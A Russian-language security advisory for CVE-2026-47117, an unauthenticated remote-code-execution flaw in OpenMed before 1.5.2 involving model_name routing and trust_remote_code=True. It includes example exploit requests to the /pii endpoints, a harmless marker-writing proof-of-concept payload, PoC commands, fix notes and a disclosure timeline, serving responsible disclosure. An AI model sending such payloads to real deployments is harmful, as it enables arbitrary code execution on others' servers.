
OpenMed < 1.5.2 — неаутентифицированное RCE через загрузку модели privacy-фильтра PII и trust_remote_code=True
Серьёзность: критическая, CVSS 4.0 9.3, CVSS 3.1 9.8 (присвоен VulnCheck, CNA)
Вектор (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Вектор (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Затронуто: OpenMed < 1.5.2
Исправлено в: 1.5.2
CWE: CWE-94 (некорректный контроль генерации кода, инъекция кода)
Сообщил: Sai Teja Erukude
CNA: VulnCheck
Опубликовано: 2 июня 2026 г.
OpenMed до версии 1.5.2 содержит уязвимость удаленного выполнения кода без аутентификации в пути загрузки PII-модели фильтра конфиденциальности.
REST API конечные точки POST /pii/extract и POST /pii/deidentify принимают значение model_name из тела запроса. В уязвимых версиях диспетчер фильтра конфиденциальности использовал широкое сопоставление подстрок для этого управляемого атакующим значения. Таким образом, имя модели, такое как attacker/foo-privacy-filter-bar, могло направляться в бэкенд фильтра конфиденциальности.
В развертываниях без MLX/Torch этот бэкенд загружал артефакты моделей Hugging Face через Transformers с trust_remote_code=True. Если управляемый атакующим репозиторий модели содержал пользовательский код Transformers, на который ссылались через auto_map в config.json или tokenizer_config.json, Transformers импортировал и выполнял этот Python-код во время загрузки модели или токенизатора.
Импортированный код выполнялся с привилегиями сервисного процесса OpenMed.
Неаутентифицированный удаленный злоумышленник, имеющий доступ к REST API OpenMed, может выполнить произвольный Python-код на сервере, указав вредоносный идентификатор модели в стиле Hugging Face в model_name.
В зависимости от развертывания сервиса это может позволить:
Проблема достижима через обе PII-конечные точки, поскольку обе принимают model_name и используют один и тот же путь извлечения PII/загрузки модели:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
Уязвимый поток управления имеет два отказа на границах доверия:
model_name при выборе бэкенда фильтра конфиденциальности.trust_remote_code=True.Диспетчер рассматривал любой идентификатор модели, содержащий privacy-filter, как часть семейства фильтров конфиденциальности. Это позволяло управляемым атакующим идентификаторам, например attacker/foo-privacy-filter-bar, достигать пути кода, предназначенного для доверенных сторонних моделей Privacy Filter.
Попав туда, Transformers могли загружать управляемый атакующим пользовательский код через auto_map. Этот импорт происходит во время загрузки модели/токенизатора, до того как должно успешно выполниться какое-либо полезное推断. Поэтому полезная нагрузка для доказательства может быть такой же маленькой, как:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py создает безвредный локальный каталог модели в стиле Hugging Face, имя которого содержит privacy-filter. Сгенерированные пользовательские модули Transformers записывают файл-маркер при импорте. Затем скрипт отправляет запрос к тестовому экземпляру API OpenMed с этим каталогом в качестве model_name.
Ожидаемое поведение на уязвимых версиях OpenMed:
model_name.trust_remote_code=True.Запускайте только против локального тестового экземпляра:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
Если сервис OpenMed работает в месте, которое не имеет доступа к сгенерированному локальному каталогу, опубликуйте эквивалентную тестовую модель в контролируемом репозитории Hugging Face и передайте этот идентификатор явно:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
Обновитесь до OpenMed 1.5.2 или более поздней версии.
OpenMed 1.5.2 разделяет маршрутизацию и доверие:
privacy-filter, больше не направляются через доверенный путь фильтра конфиденциальности.PrivacyFilterTorchPipeline по умолчанию устанавливает trust_remote_code в False.OPENMED_TRUSTED_REMOTE_CODE_MODELS.Если немедленное обновление невозможно:
model_name в Transformers с trust_remote_code=True.| Дата | Событие |
|---|---|
| 18 мая 2026 г. | Уязвимость отправлена в VulnCheck |
| 20 мая 2026 г. | VulnCheck начала скоординированное раскрытие информации |
| 22 мая 2026 г. | Предварительно выделен CVE-2026-47117 |
| 1 июня 2026 г. | Исправление OpenMed 1.5.2 проверено и подтверждено |
| 2 июня 2026 г. | Опубликован CVE-2026-47117 |
Обнаружено и сообщено Sai Teja Erukude, скоординировано через VulnCheck.